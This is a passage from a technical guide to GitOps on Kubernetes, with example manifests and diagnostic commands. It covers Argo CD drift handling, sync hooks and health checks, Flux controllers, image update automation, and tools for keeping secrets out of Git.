  • Prefer not declaring fields another controller owns: the best practices page says to leave `replicas` out of the manifest when an HPA controls it. For wide cases, `argocd-cm` accepts `resource.customizations.ignoreDifferences.<group>_<kind>` and `.all`, and `resource.compareoptions` sets `ignoreResourceStatusField` (`all` by default). AppProject `orphanedResources: {warn: true}` lists top-level namespaced objects that belong to no Application, with a documented performance cost on busy namespaces. Contrast with Flux, per the docs: a Kustomization always corrects drift on its interval, `prune` is a required field, `kustomize.toolkit.fluxcd.io/prune: disabled` protects an object, and `kustomize.toolkit.fluxcd.io/ssa: Merge` preserves fields added by other tools.

Examples

Self-heal and prune on, with the HPA-owned replicas and a webhook-injected init container excluded from the diff and, through RespectIgnoreDifferences, from the apply (kubeconform with the CRDs catalog: valid; runtime behaviour per the docs, not run here).

yaml
apiVersion: argoproj.io/v1alpha1
kind: Application
metadata:
  name: demo-web
  namespace: argocd
spec:
  project: demo-project
  source:
    repoURL: https://github.com/example/demo-config.git
    targetRevision: main
    path: overlays/prod
  destination:
    name: in-cluster
    namespace: demo-web
  syncPolicy:
    automated:
      prune: true
      selfHeal: true
    syncOptions:
      - RespectIgnoreDifferences=true
      - PruneLast=true
  ignoreDifferences:
    - group: apps
      kind: Deployment
      name: demo-web
      jsonPointers:
        - /spec/replicas
    - group: apps
      kind: Deployment
      jqPathExpressions:
        - .spec.template.spec.initContainers[] | select(.name == "injected-init-container")

A per-object guard rail: pruning waits for confirmation and deleting the Application leaves the claim behind (annotation values per the sync options doc; kubeconform: valid).

yaml
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
  name: demo-web-data
  namespace: demo-web
  annotations:
    argocd.argoproj.io/sync-options: Prune=confirm,Delete=false
spec:
  accessModes:
    - ReadWriteOnce
  resources:
    requests:
      storage: 10Gi

System-level diff rules in argocd-cm: ignore the injected caBundle of webhook configurations and only ignore the status field of CRDs (both patterns appear in the diffing doc; kubeconform: valid).

yaml
apiVersion: v1
kind: ConfigMap
metadata:
  name: argocd-cm
  namespace: argocd
  labels:
    app.kubernetes.io/name: argocd-cm
    app.kubernetes.io/part-of: argocd
data:
  resource.customizations.ignoreDifferences.admissionregistration.k8s.io_MutatingWebhookConfiguration: |
    jqPathExpressions:
    - '.webhooks[]?.clientConfig.caBundle'
  resource.compareoptions: |
    ignoreResourceStatusField: crd

In practice

  • Argo CD — `selfHeal`, `prune`, `allowEmpty`, `ignoreDifferences` and the `Prune=`/`Delete=` sync options are all part of its Application and sync-option model.
  • Kubernetes — The HorizontalPodAutoscaler and mutating admission webhooks change objects after they are applied, and the API server normalizes quantities such as `1000m` to `1`.
  • Kustomize — `generatorOptions` can add the `IgnoreExtraneous` compare option to generated ConfigMaps and Secrets so a hash-suffixed object does not hold the Application OutOfSync.
  • Flux — Corrects drift on every Kustomization interval; `ssa: Merge`, `prune: disabled` and `force` annotations tune that per object.
  • Argo Rollouts — Its CRD embeds the Pod spec, and the diffing doc uses it as the example for `resource.customizations.knownTypeFields` to stop quantity reformatting from showing as drift.

Trade-offs

Pros

  • Self-heal makes Git the single truth and reverts hotfixes nobody committed
  • Prune removes renamed and deleted objects instead of leaving orphans behind
  • Per-object annotations protect data-bearing objects without turning the feature off
  • Ignore rules let an HPA or an injector share an object with Git

Cons

  • Self-heal fights any other controller or an engineer editing during an incident, and has to be paused to hold a manual fix
  • Prune is destructive: a mistaken deletion in Git removes the live object
  • An ignore rule hides real drift on that field and does nothing at apply time without RespectIgnoreDifferences
  • Rules scattered over Applications, annotations and argocd-cm are hard to audit

PreSync, Sync and PostSync hooks, wave ordering, how Argo CD assesses resource and application health, custom Lua checks, and why an app stays Progressing.

The problem

A release ships a database migration Job and a new password Secret in the same Argo CD Application. The sync starts, the Job reads the old password because the Secret has not been applied yet, and the operation sits in Running with the message `waiting for completion of hook batch/Job/...`. A few minutes later the CRD and the custom resource that uses it fail in one sync with `the server could not find the requested resource`, and the Application stays Progressing for an hour because a LoadBalancer Service never gets an address. Phases, waves and the health assessment decide what runs in which order and when Argo CD calls it done.

How it works

  • A sync has phases. The sync waves doc lists the hook types: `PreSync` runs before the manifests are applied, `Sync` runs together with them after all PreSync hooks succeeded, `PostSync` runs after the Sync hooks completed, the application was applied and "all resources in a `Healthy` state", `SyncFail` runs when the sync fails, `Skip` stops a manifest from being applied, and `PreDelete`/`PostDelete` run only when the whole Application is deleted. A failed PreSync hook stops the sync and marks it failed. The annotation is `argocd.argoproj.io/hook`, with a comma-separated list for several.
  • Waves order resources inside a phase. `argocd.argoproj.io/sync-wave` takes an integer (written as a string in YAML), the default is `0`, negative values are allowed, and lower waves are applied first. Argo CD orders by phase, then wave, then kind (namespaces first, then other Kubernetes resources, then custom resources), then name. Per the annotations page it waits for each wave to become healthy before starting the next, with a delay of 2 seconds between waves by default (`ARGOCD_SYNC_WAVE_DELAY`).
  • The wave loop starts at the first wave that has any out-of-sync or unhealthy resource, applies it and repeats until everything is in sync and healthy. The docs warn that because an application can have resources that are unhealthy in the first wave, it may never get to healthy. Pruning runs the other way: higher waves are pruned first, and if pruning something in a wave fails, lower waves are not processed.
  • Hook cleanup is set with `argocd.argoproj.io/hook-delete-policy`: `HookSucceeded`, `HookFailed` or `BeforeHookCreation` (deletes the old hook object before creating the new one, so it needs a fixed `metadata.name`). With no policy Argo CD assumes `BeforeHookCreation`. The docs warn against `ttlSecondsAfterFinished` on hook Jobs, because Argo CD has to read the Job to learn how the phase went and the sync can end up waiting for a hook that no longer exists.
  • Hooks have sharp edges, all from the sync waves doc. A PreSync hook is applied before everything in the Sync phase, including the Secret, ConfigMap or ServiceAccount of the same Application, so a hook that reads a password from such a Secret gets the old value or fails; keep hook credentials outside the Application or make the Secret a hook with a lower wave. Hooks run on every sync, including self-heal and unrelated changes, so they must be safe to run twice. A Job that exits 0 counts as success whatever state the database is in, and terminating a long operation does not stop what the hook started.
  • Built-in health checks are defined per kind (health doc and the gitops-engine source). Deployment, ReplicaSet, StatefulSet and DaemonSet need the observed generation to equal the desired generation and the updated replicas to equal the desired replicas; a Deployment whose Progressing condition has reason `ProgressDeadlineExceeded` is Degraded (`exceeded its progress deadline`), and a paused one is Suspended. A `LoadBalancer` Service and an Ingress stay Progressing until `status.loadBalancer.ingress` is non-empty. A PVC needs phase `Bound`, and a suspended Job is Suspended.
  • Pods are special. A Pod with `restartPolicy: Always` is Healthy once ready and Degraded on states such as `CrashLoopBackOff` or `ImagePullBackOff`. A Pod with `Never` or `OnFailure` is treated like a Job: Progressing while running, Healthy only after it succeeded, which an operator-created long-running Pod never does. `argocd.argoproj.io/ignore-restart-policy: "true"` assesses it like a long-running Pod, except when the Pod is a hook; `argocd.argoproj.io/ignore-healthcheck: "true"` removes an immediate child from the Application health.
  • The Application health is the worst health among its immediate children, ranked Healthy, Suspended, Progressing, Missing, Degraded, Unknown, and it is not inherited from grandchildren. For other resources a custom Lua check goes under `resource.customizations.health.<group>_<kind>` in `argocd-cm` (core kinds omit the group prefix). The script reads the global `obj` and returns `status` (`Healthy`, `Progressing`, `Degraded` or `Suspended`) and an optional `message`; the docs advise using `observedGeneration` to avoid flapping. Standard Lua libraries are disabled unless enabled per kind. The health assessment of the `Application` kind itself was removed in 1.8, so waves that order child Applications in an app-of-apps setup need it restored with a customization (the health doc gives the Lua).

Examples

A PreSync migration hook in wave -1 with a fixed name and BeforeHookCreation; the Secret it reads must exist outside this Application's Sync phase (annotations per the sync waves doc; kubeconform: valid; ordering per the docs, not run here).

yaml
apiVersion: batch/v1
kind: Job
metadata:
  name: demo-app-migrate
  namespace: demo-app
  annotations:
    argocd.argoproj.io/hook: PreSync
    argocd.argoproj.io/hook-delete-policy: BeforeHookCreation
    argocd.argoproj.io/sync-wave: "-1"
spec:
  backoffLimit: 1
  template:
    spec:
      restartPolicy: Never
      containers:
        - name: migrate
          image: ghcr.io/example/demo-app-migrate:1.4.0
          command: ["demo-app-migrate", "up"]
          envFrom:
            - secretRef:
                name: demo-app-migrate-credentials

A custom Lua health check, the cert-manager Certificate example from the health doc: Ready=False is Degraded, Ready=True is Healthy, everything else stays Progressing (the Lua parses and returns the expected statuses on sample objects; Argo CD itself not run here).

yaml
apiVersion: v1
kind: ConfigMap
metadata:
  name: argocd-cm
  namespace: argocd
  labels:
    app.kubernetes.io/name: argocd-cm
    app.kubernetes.io/part-of: argocd
data:
  resource.customizations.health.cert-manager.io_Certificate: |
    hs = {}
    if obj.status ~= nil then
      if obj.status.conditions ~= nil then
        for i, condition in ipairs(obj.status.conditions) do
          if condition.type == "Ready" and condition.status == "False" then
            hs.status = "Degraded"
            hs.message = condition.message
            return hs
          end
          if condition.type == "Ready" and condition.status == "True" then
            hs.status = "Healthy"
            hs.message = condition.message
            return hs
          end
        end
      end
    end
    hs.status = "Progressing"
    hs.message = "Waiting for certificate"
    return hs

Finding the resource that keeps an Application in Progressing: the field names come from the Application status types and `--show-operation` from the argocd CLI reference (bash syntax checked; not run against a cluster here).

bash
# which phase is the sync in, and what is it waiting for?
kubectl -n argocd get application demo-app \
  -o jsonpath='{.status.health.status}{"\n"}{.status.operationState.phase}{"\n"}{.status.operationState.message}{"\n"}'
# which resources hold the Application back?
kubectl -n argocd get application demo-app -o json \
  | jq -r '.status.resources[] | select(.health != null and .health.status != "Healthy") | "\(.kind)/\(.name) wave=\(.syncWave // 0) \(.health.status) \(.health.message // "")"'
# the same, as the operation tree
argocd app get demo-app --show-operation

In practice

  • Argo CD — Implements phases, waves, hooks and the built-in health assessment, with Lua customizations in `argocd-cm` and bundled checks under `resource_customizations`.
  • cert-manager — Its Certificate is the standard custom health example: Ready=False is Degraded and an unissued certificate stays Progressing instead of passing as Healthy.
  • ingress-nginx — The sync waves doc uses its admission-create Job as the case of a hook stuck in `Pending deletion`, worked around with the `Skip` hook annotation.
  • Kubernetes — Supplies the signals the checks read: Deployment generation and `ProgressDeadlineExceeded`, `status.loadBalancer.ingress`, PVC phase and Job conditions.
  • Flux — Has no sync phases or waves of its own; ordering comes from `dependsOn` and readiness from `wait` or `healthChecks` (see Flux Model).

Trade-offs

Pros

  • Phases and waves give ordered rollouts (CRD before custom resources, migration before app) inside one Application
  • Health is evaluated per kind, so a sync that finished applying is not reported done while Pods are unavailable
  • Custom Lua checks cover CRDs whose status the built-in assessment does not understand
  • Hook delete policies keep one-off Jobs from piling up

Cons

  • A single unhealthy resource in an early wave can block everything after it
  • Hooks run on every sync, so they need to be idempotent and cannot rely on resources of the same Application
  • Health depends on kind-specific rules (LoadBalancer address, restartPolicy) that surprise teams on bare metal and with operators
  • Waves only order inside one Application, so cross-Application ordering needs an app-of-apps health customization or pipeline gating

How GitRepository, Kustomization and HelmRelease divide the work, what interval, prune, wait and dependsOn do, and where Flux differs from Argo CD.

The problem

A team that knows Argo CD bootstraps Flux and looks for the Application. There is none: a `GitRepository` fetches the repository, three `Kustomization` objects apply parts of it, and a `HelmRelease` for the ingress controller installs before the CRDs it needs exist. One Kustomization reports `Ready: False` with a health check timeout while another silently waits for it. Flux splits the work over small controllers with their own objects, so the questions are which object owns which step and what each one waits for.

How it works

  • Flux is a set of controllers, each owning custom resources. source-controller fetches `GitRepository`, `OCIRepository`, `HelmRepository` and `Bucket` objects and publishes an Artifact; kustomize-controller applies a `Kustomization` from such an Artifact; helm-controller runs a `HelmRelease`; notification-controller handles `Receiver`, `Alert` and `Provider`. Per the image update guide the image automation controllers are not installed by default and need `--components-extra=image-reflector-controller,image-automation-controller`. The core concepts doc describes a Source as the origin of the desired state, checked on an interval and producing an artifact that other components consume.
  • A `GitRepository` needs `spec.url` and `spec.interval`. `spec.ref` takes `branch`, `tag`, `semver`, `name` or `commit`, later fields taking precedence, and per the docs it defaults to the `master` branch when absent, so a repository whose default branch is `main` must set `ref.branch: main`. `spec.timeout` for Git operations defaults to `60s`. `spec.ignore` takes rules in the `.gitignore` pattern format to keep the Artifact small. An `OCIRepository` replaces Git as the source in what the docs call Gitless GitOps.
  • A `Kustomization` (group `kustomize.toolkit.fluxcd.io`, not the `kustomization.yaml` file) needs `sourceRef`, `interval` and `prune`. `path` defaults to the Artifact root; if the path holds no `kustomization.yaml`, the controller generates one over the manifests. Per the docs the minimum interval is 60 seconds, and on every interval the controller builds and runs a server-side apply dry-run "to detect and correct drift". A change of `.metadata.generation` or of the source revision is handled immediately, outside the interval. `targetNamespace` does not create the namespace.
  • Readiness is explicit. `wait: true` health-checks all applied resources and makes `healthChecks` ignored; `healthChecks` lists chosen objects (built-in kinds such as Deployment, Flux kinds such as HelmRelease, and custom resources compatible with kstatus). `timeout` bounds every operation in a reconciliation, build, apply and health check alike; if the rollout fails or exceeds it, the Kustomization is `Ready: False`. `retryInterval` is only for failures and defaults to `interval`. The docs' recommended production block uses `interval: 60m`, `wait: true`, `timeout: 3m`, `retryInterval: 2m` and a GitRepository interval of `1m`.
  • `dependsOn` orders whole objects. A Kustomization with `dependsOn: [{name: infra}]` is applied only after `infra` has `Ready: True`; if the dependency sets `healthChecks` or `wait`, its health checks must have passed. The same field exists on `HelmRelease`. Circular dependencies are never applied, and `dependsOn[].readyExpr` (a CEL expression) replaces the built-in readiness check. Compare Argo CD waves, which order resources inside one sync; Flux has no hook phases of its own, and ordering across the cluster is expressed as dependencies between objects.
  • Garbage collection is the `prune` field: objects applied earlier and missing from the current revision are removed, also when the Kustomization is deleted, controlled by `deletionPolicy` (`MirrorPrune` by default, then `Delete`, `WaitForTermination`, `Orphan`). Per-object annotations in the manifests change the behaviour: `kustomize.toolkit.fluxcd.io/prune: disabled` protects an object, `kustomize.toolkit.fluxcd.io/ssa` is `Override` by default and can be `Merge`, `IfNotPresent` or `Ignore`, and `kustomize.toolkit.fluxcd.io/force: Enabled` recreates objects on immutable-field changes (the docs warn this can lose StatefulSet data).
  • A `HelmRelease` runs real Helm releases through helm-controller (install, upgrade, test, uninstall, rollback). `spec.timeout` defaults to `5m0s`, `install.remediation.retries` and `upgrade.remediation.retries` default to `0` (a negative number retries forever), and failures leave the release failed unless remediation is configured. `spec.driftDetection.mode` can be `warn` or `enabled`. Its `interval`, source revision and `valuesFrom` changes trigger reconciles. For chart and values behaviour see Helm in GitOps.
  • Operations go through the objects. `flux reconcile kustomization demo-app` or the annotation `reconcile.fluxcd.io/requestedAt` requests an immediate run, a `Receiver` turns Git provider webhooks into reconciles, `spec.suspend: true` pauses a Kustomization including drift correction, and `kubectl wait kustomization/NAME --for=condition=ready` blocks until ready. By default a Kustomization applies as cluster admin; `spec.serviceAccountName` makes it impersonate a narrower account and the controller flag `--default-service-account` enforces that. The Flux FAQ states the project ships no UI of its own, so status lives in object conditions, events and the `flux` CLI.

Examples

The source: fetch demo-config every minute and publish an Artifact for the branch main; without ref.branch the docs say the default is master (kubeconform with the CRDs catalog: valid).

yaml
apiVersion: source.toolkit.fluxcd.io/v1
kind: GitRepository
metadata:
  name: demo-config
  namespace: flux-system
spec:
  interval: 1m
  url: https://github.com/example/demo-config
  ref:
    branch: main

Cluster add-ons: drift is corrected every 30 minutes, failures retry every 2 minutes, and wait: true makes Ready depend on every applied resource being healthy within 5 minutes (kubeconform: valid; behaviour per the docs, not run here).

yaml
apiVersion: kustomize.toolkit.fluxcd.io/v1
kind: Kustomization
metadata:
  name: infra
  namespace: flux-system
spec:
  interval: 30m
  retryInterval: 2m
  timeout: 5m
  wait: true
  prune: true
  path: ./infrastructure/production
  sourceRef:
    kind: GitRepository
    name: demo-config

The application layer: applied only after infra is Ready, and Ready itself waits for one named Deployment (kubeconform: valid; ordering per the docs, not run here).

yaml
apiVersion: kustomize.toolkit.fluxcd.io/v1
kind: Kustomization
metadata:
  name: apps
  namespace: flux-system
spec:
  dependsOn:
    - name: infra
  interval: 10m
  prune: true
  path: ./apps/production
  targetNamespace: demo-app
  sourceRef:
    kind: GitRepository
    name: demo-config
  healthChecks:
    - apiVersion: apps/v1
      kind: Deployment
      name: demo-app
      namespace: demo-app

In practice

  • Flux — A CNCF graduated project (per its README) built from the GitOps Toolkit controllers; `flux bootstrap` installs them and pushes their own manifests to the repository.
  • source-controller — Clones Git, pulls OCI artifacts and Helm repositories on each interval, and serves the resulting Artifact to the other controllers.
  • kustomize-controller — Builds the path, runs the server-side apply dry-run for drift, garbage-collects with `prune`, and decrypts SOPS files with `spec.decryption`.
  • helm-controller — Runs install, upgrade, test, rollback and uninstall for `HelmRelease` objects and keeps the Helm release history.
  • Argo CD — The contrast: one Application object carries source, destination and policy, ordering is waves inside a sync, and a UI is part of the project.

Trade-offs

Pros

  • Small composable objects: sources can be shared and each step has its own Ready condition
  • Kubernetes-native tenancy through ServiceAccount impersonation per Kustomization or HelmRelease
  • Drift is corrected every interval without a separate self-heal switch, and a webhook or `flux reconcile` makes it immediate
  • Real Helm releases with remediation and rollback, plus OCI sources that remove Git from the runtime path

Cons

  • The picture is spread over many objects, and with no UI in the project, finding why something is not Ready takes kubectl and the flux CLI
  • Drift is corrected on a schedule, so manual edits survive until the next interval
  • `dependsOn` is object-level only, with no hook phases for one-off steps such as migrations
  • Cyclic dependencies and wait or health-check timeouts block downstream objects silently

Registry scanning, semver, numerical and alphabetical policies, setter markers and the Git write-back, and where automatic bumps end and promotion starts.

The problem

CI pushes `demo-app:main-2d3fcbd-1611906956` to the registry and a person then edits the tag in the config repository, forty times a week. Automating the edit raises new questions. Which tag counts as newest, given that `10` sorts before `9` as text? Who pushes the commit, and to which branch? What happens to a commit reverted after a bad release when the next scan finds the same newest tag again? And where does an automatic bump stop and a reviewed promotion start?

How it works

  • In Flux three objects split the job, and the image automation controllers are an optional install (`--components-extra=image-reflector-controller,image-automation-controller` at bootstrap). An `ImageRepository` scans a registry: `spec.image` and `spec.interval` are required, `spec.exclusionList` defaults to `^.*\.sig$` so Cosign signature tags are not candidates, and credentials come from `secretRef`, a service account or a cloud `provider`. An `ImagePolicy` picks one tag from the scan, and an `ImageUpdateAutomation` writes the result into Git.
  • `ImagePolicy.spec.policy` has three types. `semver.range` takes a Masterminds constraint and selects the highest matching version (`>=1.0.0` is described as the latest stable tag; the docs use `^1.x-0` for release candidates). `alphabetical.order` and `numerical.order` take `asc` (the default) or `desc` and select the last tag after sorting. A text sort puts `9` after `10`, so build counters need `numerical` or a zero-padded or timestamp value.
  • `spec.filterTags.pattern` is a regular expression that restricts candidates, and `extract` hands a captured group to the policy instead of the whole tag. The Flux image update guide's staging scheme `${GIT_BRANCH}-${GIT_SHA:0:7}-$(date +%s)` works with `pattern: '^main-[a-f0-9]+-(?P<ts>[0-9]+)$'`, `extract: '$ts'` and a `numerical` policy, while production follows `semver` tags such as `v1.0.1`.
  • Only marked lines change. A setter is a trailing comment naming the policy: `image: ghcr.io/example/demo-app:main-2d3fcbd-1611906956 # {"$imagepolicy": "flux-system:demo-app"}`. For charts that split the image into fields the marker takes a suffix: `:name`, `:tag` or `:digest`. `spec.update.path` limits the files scanned, `update.strategy` currently has the single value `Setters`, and `spec.policySelector` limits which policies of the namespace the automation considers.
  • The write-back is a real Git commit made by image-automation-controller. `spec.git.commit.author.email` is required, `signingKey` is optional, and `messageTemplate` is a Go template (the docs' own example prints `[skip ci]` for some outcomes). `spec.git.checkout.ref` defaults to the GitRepository's ref, and `spec.git.push.branch` defaults to the checkout branch. If the push branch already exists it is overwritten with the cloned version plus the changes, which is a force push unless the controller runs with `--feature-gates=GitForcePushBranch=false`, and without it a stale branch can make the automation fail until the branch is deleted or refreshed.
  • Digests are opt-in. `ImagePolicy.spec.digestReflectionPolicy` is `Never` by default; `IfNotPresent` records the digest of the selected tag once and is described as the safest option for immutable tags, while `Always` refreshes it on the policy `interval` and is meant to follow mutable tags such as `latest`. The setter `:digest` then pins the digest next to the tag, which is the same idea as promoting by digest in Environment Promotion.
  • Argo CD has no built-in scanner. The separate Argo CD Image Updater uses `ImageUpdater` custom resources and strategies `semver`, `newest-build` (renamed from `latest`), `alphabetical` (renamed from `name`) and `digest`. Write-back is `argocd` by default, which sets parameters on the Application and is documented as pseudo-persistent: they are gone if the Application is recreated or synced back from Git. With the `git` method it commits `.argocd-source-<appName>.yaml` into the application path, and the Application should track a branch. Whether the new image deploys follows the Application's sync policy: automatic sync or OutOfSync. Its docs call the project under active development.
  • Automation chooses the newest allowed tag, not a validated one. The Flux repository-structure guide delivers staging automatically and, for production, suggests pushing to a separate branch and opening a pull request. Rollback needs care: per the documented behaviour the automation sets marked fields to what the policy selects, so after `git revert` of a bad bump the next run can write the same tag again. Hold it by suspending the `ImageUpdateAutomation`, tightening the range, excluding the tag via `exclusionList`, or pinning (inference from the docs; not run here).

Examples

Pick the newest main-<sha>-<unix time> tag by its timestamp; the ImageRepository named demo-app does the scan (kubeconform with the CRDs catalog: valid; the pattern matches the guide's tag scheme).

yaml
apiVersion: image.toolkit.fluxcd.io/v1
kind: ImagePolicy
metadata:
  name: demo-app
  namespace: flux-system
spec:
  imageRepositoryRef:
    name: demo-app
  filterTags:
    pattern: '^main-[a-f0-9]+-(?P<ts>[0-9]+)$'
    extract: '$ts'
  policy:
    numerical:
      order: asc

Commit to a separate image-updates branch rather than main, so a pull request can gate the change (kubeconform: valid; the force-push behaviour of that branch is per the docs, not run here).

yaml
apiVersion: image.toolkit.fluxcd.io/v1
kind: ImageUpdateAutomation
metadata:
  name: demo-app
  namespace: flux-system
spec:
  interval: 30m
  sourceRef:
    kind: GitRepository
    name: demo-config
  git:
    checkout:
      ref:
        branch: main
    commit:
      author:
        name: fluxbot
        email: fluxbot@example.com
      messageTemplate: "Automated image update [skip ci]"
    push:
      branch: image-updates
  update:
    path: ./apps/staging
    strategy: Setters

The setter: the trailing comment is the only thing that ties this line to the ImagePolicy, and it is the only line the automation rewrites (comment format per the ImageUpdateAutomation docs; kubeconform: valid).

yaml
apiVersion: apps/v1
kind: Deployment
metadata:
  name: demo-app
  namespace: demo-app
spec:
  replicas: 2
  selector:
    matchLabels:
      app: demo-app
  template:
    metadata:
      labels:
        app: demo-app
    spec:
      containers:
        - name: demo-app
          image: ghcr.io/example/demo-app:main-2d3fcbd-1611906956 # {"$imagepolicy": "flux-system:demo-app"}

In practice

  • Flux — image-reflector-controller (ImageRepository, ImagePolicy) and image-automation-controller (ImageUpdateAutomation) scan, select and commit back to Git.
  • Argo CD Image Updater — A separate project that updates Application parameters or commits `.argocd-source-<appName>.yaml`, driven by `ImageUpdater` resources.
  • Kargo — Per its README it manages and automates the promotion of software artifacts through the stages of their lifecycle, which is where a newest-tag bump hands over to a gated promotion.
  • Cosign — Writes `.sig` tags next to images in the registry, which is why the ImageRepository exclusion list ignores them by default.
  • GitHub Actions — The usual producer of the tags that get scanned; the Flux guide also shows an Actions workflow that opens a pull request for the image-updates branch.

Trade-offs

Pros

  • Removes the manual tag-bump commit, and every deployed version still appears in Git history
  • Semver ranges deliver patch releases automatically while holding back majors
  • Marker comments make the touched lines explicit and reviewable
  • A separate push branch or pull request keeps a human gate for production

Cons

  • The automation commits to the repository, so it needs write credentials and can re-trigger CI
  • Policy choice is easy to get wrong: a text sort picks the wrong tag, and a mutable tag changes silently
  • A reverted bad version can be written back on the next scan unless the automation is paused or constrained
  • It selects the newest allowed tag and does not know whether that tag passed staging

How Sealed Secrets, SOPS, External Secrets Operator and Vault delivery keep secrets out of Git, and what each leaves to back up, rotate and recover.

The problem

The cluster is rebuilt from Git, but the database password cannot be committed: a base64 `Secret` is plain text with extra steps. Teams then pick a tool by habit, and each works until its own weak spot shows: Sealed Secrets until the cluster is lost together with its sealing key and every value has to be re-issued, SOPS until the age key exists only on one laptop, an operator that reads from a vault until the vault is unreachable during a restore. Each method moves the secret, or the key to it, somewhere else, and that place decides who can read it and how recovery goes.

How it works

  • The Flux docs put the problem plainly: "Storing Secrets in Git repositories in plain text or base64 is unsafe, regardless of the visibility or access restrictions of the repository." The Argo CD secret-management page names two families: populate secrets on the destination cluster (Sealed Secrets, External Secrets Operator and the Secrets Store CSI Driver are its examples), or inject them during manifest generation (for example the argocd-vault-plugin). It "strongly recommend[s]" the first and cautions against the second, because generated manifests are cached in plain text in Redis, secret updates become coupled to app syncs, and the approach does not fit the Rendered Manifests pattern.
  • Sealed Secrets has a cluster controller and the `kubeseal` client. `kubeseal` encrypts with the controller's public key (asymmetric) into a `SealedSecret` (`bitnami.com/v1alpha1`) that is safe to commit, and the controller creates the normal `Secret` in the cluster. The default scope is `strict`: name and namespace are part of the encrypted data, so renaming or moving the object gives a decryption error; `namespace-wide` and `cluster-wide` relax that, with `cluster-wide` winning if both annotations are set. The ciphertext cannot be decrypted by anyone without the controller's private key, including its author.
  • The sealing key is the asset to protect. Per the README the controller adds a new sealing key every 30 days (`--key-renew-period`, `0` disables) and keeps old keys, and this renewal is not a substitute for rotating the real secret values. The private keys live as Secrets labelled `sealedsecrets.bitnami.com/sealed-secrets-key` in the controller namespace (usually `kube-system`); the FAQ shows how to back them up (recreate the backup after each renewal, or it cannot decrypt newer SealedSecrets) and says that without the keys "you will need to regenerate new passwords for everything". If a sealing key leaks, renew early with `--key-cutoff-time` before sealing the rotated values.
  • SOPS encrypts the values inside a file (YAML, JSON, ENV, INI, BINARY) and leaves the structure readable, so a diff shows which keys changed. It uses a data key per file, wrapped for each master key: AWS KMS, GCP KMS, Azure Key Vault, HuaweiCloud KMS, age or PGP. For Kubernetes `--encrypted-regex '^(data|stringData)$'` keeps `apiVersion`, `kind` and `metadata` readable; the `creation_rules` in `.sops.yaml` list the keys and drive `sops updatekeys`. Per the key management docs, to drop a compromised key run `sops updatekeys` first and `sops rotate -i` second, and only then change the real passwords.
  • Flux decrypts SOPS natively: `spec.decryption.provider: sops` on a `Kustomization` with a `secretRef` holding keys whose entry names end in `.agekey` (or cloud credentials, or workload identity through `serviceAccountName`); the docs list SOPS as the only supported provider and ask for `metadata`, `kind` and `apiVersion` to stay in plain text. A controller-wide key is possible with `--sops-age-secret`. The Argo CD secret-management page describes no built-in decryption; injecting during manifest generation, for example through a config management plugin, is the family it cautions against, and SOPS with Argo CD takes that route (plugin details not run here).
  • External Secrets Operator keeps references, not ciphertext, in Git. An `ExternalSecret` declares what to fetch (`spec.data` for single keys, `spec.dataFrom` for all values), a namespaced `SecretStore` or cluster-wide `ClusterSecretStore` declares how to reach the provider, and the controller creates a `Kind=Secret`. `refreshPolicy` is `Periodic` by default (with `refreshInterval`), or `OnChange` or `CreatedOnce`; `creationPolicy: Owner` (default) sets an `ownerReference`, so deleting the ExternalSecret garbage-collects the Secret, while `Orphan` does not. The docs warn the operator runs "with elevated privileges" and can read and write Secrets in all namespaces.
  • Vault-style delivery avoids a committed Secret entirely. The Vault Agent Injector is "a mutation webhook controller that injects Vault Agent containers into pods meeting specific annotation criteria", and per the Vault docs the agents render secrets to a shared memory volume mounted at `/vault/secrets`: an init container prepopulates it before the other containers start and a sidecar keeps rendering while the pod runs, so the application reads files and never sees a Kubernetes Secret. The Secrets Store CSI Driver mounts provider secrets into the pod and can mirror them into a Kubernetes Secret with `secretObjects`; rotation needs `--enable-secret-rotation` (marked alpha in the command reference; the mechanism changed in v1.6.0), a mounted file must be re-read by the app, and an environment variable only changes after a pod restart. The pod now depends on the external store at start time.
  • In an Argo CD or Flux setup the secret objects are ordinary resources with ordering and noise concerns. The CRDs and controller must exist before the first `SealedSecret` or `ExternalSecret` (waves in Argo CD, `dependsOn` in Flux). ExternalSecret status changes can drive Application refreshes, and the reconcile optimization doc uses `resource.customizations.ignoreResourceUpdates.external-secrets.io_ExternalSecret` with `jsonPointers: [/status/refreshTime]` as its example. For recovery, "rebuild from Git" holds only with the key (Sealed Secrets, SOPS) or the external store and its credentials (ESO, Vault), so those belong in the disaster recovery runbook.

Examples

Git holds only this reference: the operator reads demo-app/db from the store and keeps a Secret named demo-app-db, refreshed hourly (kubeconform with the CRDs catalog: valid; runtime behaviour per the docs, not run here).

yaml
apiVersion: external-secrets.io/v1
kind: ExternalSecret
metadata:
  name: demo-app-db
  namespace: demo-app
spec:
  refreshInterval: 1h
  secretStoreRef:
    kind: ClusterSecretStore
    name: demo-vault
  target:
    name: demo-app-db
    creationPolicy: Owner
  data:
    - secretKey: password
      remoteRef:
        key: demo-app/db
        property: password

Flux decrypting SOPS files with an age key held in the Secret sops-age (identity.agekey entry); the key itself must reach the cluster out of band (kubeconform: valid; behaviour per the docs, not run here).

yaml
apiVersion: kustomize.toolkit.fluxcd.io/v1
kind: Kustomization
metadata:
  name: demo-secrets
  namespace: flux-system
spec:
  interval: 10m
  path: ./secrets/production
  prune: true
  sourceRef:
    kind: GitRepository
    name: demo-config
  decryption:
    provider: sops
    secretRef:
      name: sops-age

The shape of what is committed with Sealed Secrets: the ciphertext value here is a placeholder, a real one is produced by kubeseal against the controller's certificate and is bound to this name and namespace under the default strict scope (kubeconform: valid).

yaml
apiVersion: bitnami.com/v1alpha1
kind: SealedSecret
metadata:
  name: demo-app-db
  namespace: demo-app
spec:
  encryptedData:
    password: AgDemoCiphertextPlaceholder
  template:
    metadata:
      name: demo-app-db
      namespace: demo-app
    type: Opaque

In practice

  • Sealed Secrets — A controller plus the `kubeseal` CLI; the sealing key is renewed every 30 days by default and old keys are kept so earlier SealedSecrets still unseal.
  • SOPS — A CNCF sandbox project that encrypts values in structured files with KMS, age or PGP keys; Flux's kustomize-controller decrypts it natively.
  • External Secrets Operator — Syncs values from external APIs into Kubernetes Secrets through ExternalSecret and SecretStore objects, with refresh, creation and deletion policies.
  • HashiCorp Vault — Delivers secrets by Agent Injector sidecar or the Secrets Store CSI provider, so the application can receive files without a committed Secret.
  • Argo CD — Recommends populating secrets on the destination cluster and cautions against plugins such as argocd-vault-plugin that inject during manifest generation.

Trade-offs

Pros

  • Nothing readable is committed, so a repository leak does not leak the values
  • Sealed Secrets and SOPS keep the secret versioned and reviewable next to the manifests that use it
  • External stores centralise rotation, access policy and audit for many clusters
